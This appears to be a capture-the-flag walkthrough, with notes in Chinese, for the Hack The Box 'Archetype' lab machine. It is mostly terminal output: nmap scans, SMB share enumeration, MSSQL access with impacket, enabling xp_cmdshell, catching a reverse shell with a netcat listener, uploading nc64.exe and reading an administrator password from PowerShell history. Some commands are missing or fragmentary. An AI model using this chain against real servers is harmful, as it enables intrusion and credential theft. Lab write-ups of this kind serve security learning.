┌──(kali㉿kali)-[~] └─$ nmap -sV 10.129.121.52 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-17 04:02 EDT Nmap scan report for 10.129.121.52 Host is up (0.37s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 77.41 seconds
┌──(kali㉿kali)-[~] └─$ nmap -sV -sC 10.129.168.67 Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-18 03:34 EDT Nmap scan report for 10.129.168.67 Host is up (0.37s latency). Not shown: 996 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2023-07-18T06:36:33 |_Not valid after: 2053-07-18T06:36:33 |_ssl-date: 2023-07-18T07:37:27+00:00; -1s from scanner time. | ms-sql-info: | 10.129.168.67:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ms-sql-ntlm-info: | 10.129.168.67:1433: | Target_Name: ARCHETYPE | NetBIOS_Domain_Name: ARCHETYPE | NetBIOS_Computer_Name: ARCHETYPE | DNS_Domain_Name: Archetype | DNS_Computer_Name: Archetype |_ Product_Version: 10.0.17763 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: mean: 1h23m59s, deviation: 3h07m52s, median: -1s | smb-os-discovery: | OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3) | Computer name: Archetype | NetBIOS computer name: ARCHETYPE\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2023-07-18T00:37:03-07:00 | smb2-security-mode: | 311: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-time: | date: 2023-07-18T07:37:00 |_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 162.12 seconds
139 端口是 netbios-ssn,NetBIOS 是在所有当前版本 Windows 下用于文件和打印共享的协议,默认情况下,启用文件和打印共享后,会绑定到所有内容,包括 TCP/IP ,这意味着除非配置不当的情况下,可以在互联网上访问本地的共享资源
445 端口 microsoft-ds 服务,也是 Client-Server Model,用于直接 TCP/IP MS 网络访问,无需 NetBIOS 层,SMB 协议用于 Windows NT/2K/XP 和更高版本中的文件共享
使用命令行工具 smbclient 进行连接,使用 -L 命令显示服务器端分享的资源。
密码为空,直接进看看。
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(kali㉿kali)-[~] └─$ smbclient -L 10.129.121.52 Password for [WORKGROUP\kali]:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin backups Disk C$ Disk Default share IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.121.52 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿kali)-[~] └─$ smbclient \\\\10.129.121.52\\backups Password for [WORKGROUP\kali]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Jan 20 07:20:57 2020 .. D 0 Mon Jan 20 07:20:57 2020 prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
5056511 blocks of size 4096. 2616219 blocks available smb: \> cat prod.dtsConfig cat: command not found smb: \> get prod.dtsConfig getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
positional arguments: target [[domain/]username[:password]@]<targetName or address>
options: -h, --help show this help message and exit -port PORT target MSSQL port (default 1433) -db DB MSSQL database instance (default None) -windows-auth whether or not to use Windows Authentication (default False) -debug Turn DEBUG output ON -file FILE input file with commands to execute in the SQL shell
authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
Password: [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press helpfor extra shell commands SQL> help
lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd
SQL> EXEC xp_cmdshell 'net user'; [-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for'xp_cmdshell'in SQL Server Books Online. SQL> EXEC sp_configure 'show advanced options', 1; [*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> RECONFIGURE; SQL> sp_configure; - Enabling the sp_configure as stated in the above error message [-] ERROR(ARCHETYPE): Line 1: Incorrect syntax near '-'. SQL> EXEC sp_configure 'xp_cmdshell', 1; [*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL> RECONFIGURE; SQL> xp_cmdshell "whoami" output
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 443 [sudo] password for kali: listening on [any] 443 ... connect to [10.10.14.68] from (UNKNOWN) [10.129.168.67] 49678 Microsoft Windows [Version 10.0.17763.2061] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\sql_svc\Downloads>dir dir Volume in drive C has no label. Volume Serial Number is 9565-0B4F
Directory of C:\Users\sql_svc\Downloads
07/18/2023 01:41 AM <DIR> . 07/18/2023 01:41 AM <DIR> .. 07/18/2023 01:41 AM 45,272 nc64.exe 1 File(s) 45,272 bytes 2 Dir(s) 10,714,288,128 bytes free
C:\Users\sql_svc\AppData>cd \Roaming\Microsoft\Windows\PowerShell\PSReadline\ cd \Roaming\Microsoft\Windows\PowerShell\PSReadline\ The system cannot find the path specified.
C' is not recognized as an internal or external command, operable program or batch file.
C:\Users\sql_svc\AppData>cd Roaming\Microsoft\Windows\PowerShell\PSReadline\ cd Roaming\Microsoft\Windows\PowerShell\PSReadline\
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>dir dir Volume in drive C has no label. Volume Serial Number is 9565-0B4F
Directory of C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
01/20/2020 06:04 AM <DIR> . 01/20/2020 06:04 AM <DIR> .. 03/17/2020 02:36 AM 79 ConsoleHost_history.txt 1 File(s) 79 bytes 2 Dir(s) 10,710,208,512 bytes free
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>type ConsoleHost_history.txt type ConsoleHost_history.txt net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!! exit
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>python3 psexec.py administrator@10.129.168.67 python3 psexec.py administrator@10.129.168.67 'python3' is not recognized as an internal or external command, operable program or batch file.